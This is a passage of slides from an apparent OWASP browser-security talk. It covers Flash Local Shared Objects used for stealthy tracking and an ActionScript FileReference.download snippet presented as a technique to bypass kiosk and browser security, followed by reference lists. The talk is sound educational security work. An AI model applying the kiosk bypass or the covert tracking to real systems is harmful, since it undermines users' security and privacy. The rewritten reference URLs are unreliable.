  • 23. Browser Plugins Adobe Flash LSO (Local Shared Objects) Cookie system completely managed by Adobe 100KB cache data allowed by default Third Party LSO are allowed by default (100kb cache) LSO data stored and accessed “stealthily” Typically stored in: C:\Documents and Settings\[username]\Application Data\Macromedia\Flash Player Files in the format .sol This “feature” has already been exploited: United Virtualies -> PIE (Persistent Identification Element) Creates a unique ID for each browser and then stores in LSO
  • 24. Browser Plugins ActionScript FileReference.Download bypasses browser security settings IKAT’s Paul Craig 0day technique to bypass kiosk software protection (IE’s security model) Something like: test.addEventListener(MouseEvent.CLICK, downloadFile); var fileRef:FileReference = new FileReference(); function downloadFile(event:MouseEvent):void { fileRef.download(new URLRequest(&quot;http://www.aaa.com/file.html&quot;), “file.html&quot;); }
  • 25. OWASP Intrinsic Group Aid browser vendors, framework vendors in addressing current security issues Focus on: HTML5 Working Group XMLHTTPRequest Webapp Working Group Mozilla Firefox Adobe (AIR/Flash) Microsoft IE7 Microsoft .NET Struts Spring Apache Commons Soon: OWASP Top Ten Browser Security
  • 26. Questions? [email_address] http://malerisch.net http://www.owasp.org/index.php/New_Zealand
  • 27. References HTML5 http://www.whatwg.org/specs/web-apps/current-work XHR and XHR Level 2 https://wiki.mozilla.org/Cross_Site_XMLHttpRequest http://dev.w3.org/2006/webapi/XMLHttpRequest-2 Access Controls XHR http://www.w3.org/TR/access-control/ XDR http://msdn.microsoft.com/en-us/library/cc288108(VS.85).aspx http://lists.w3.org/Archives/Public/public-appformats/2008Mar/0017.html LSO http://epic.org/privacy/cookies/flash.html https://www.flashsec.org/wiki/Shared_Objects#Storage_location http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager07.html http://www.adobe.com/products/flashplayer/articles/lso/ http://en.wikipedia.org/wiki/Local_Shared_Object
  • 28. References HTML5 - Presentation http://www.owasp.org/index.php/AppSecEU08_HTML5 Abusing HTML 5 Structured Client-side Storage http://trivero.secdiscover.com/html5whitepaper.pdf Web Stats http://www.internetworldstats.com/stats.htm Browser Stats http://www.w3schools.com/browsers/browsers_stats.asp

Editor's Notes

  • #15: Updateready-&gt; application cache is not the newest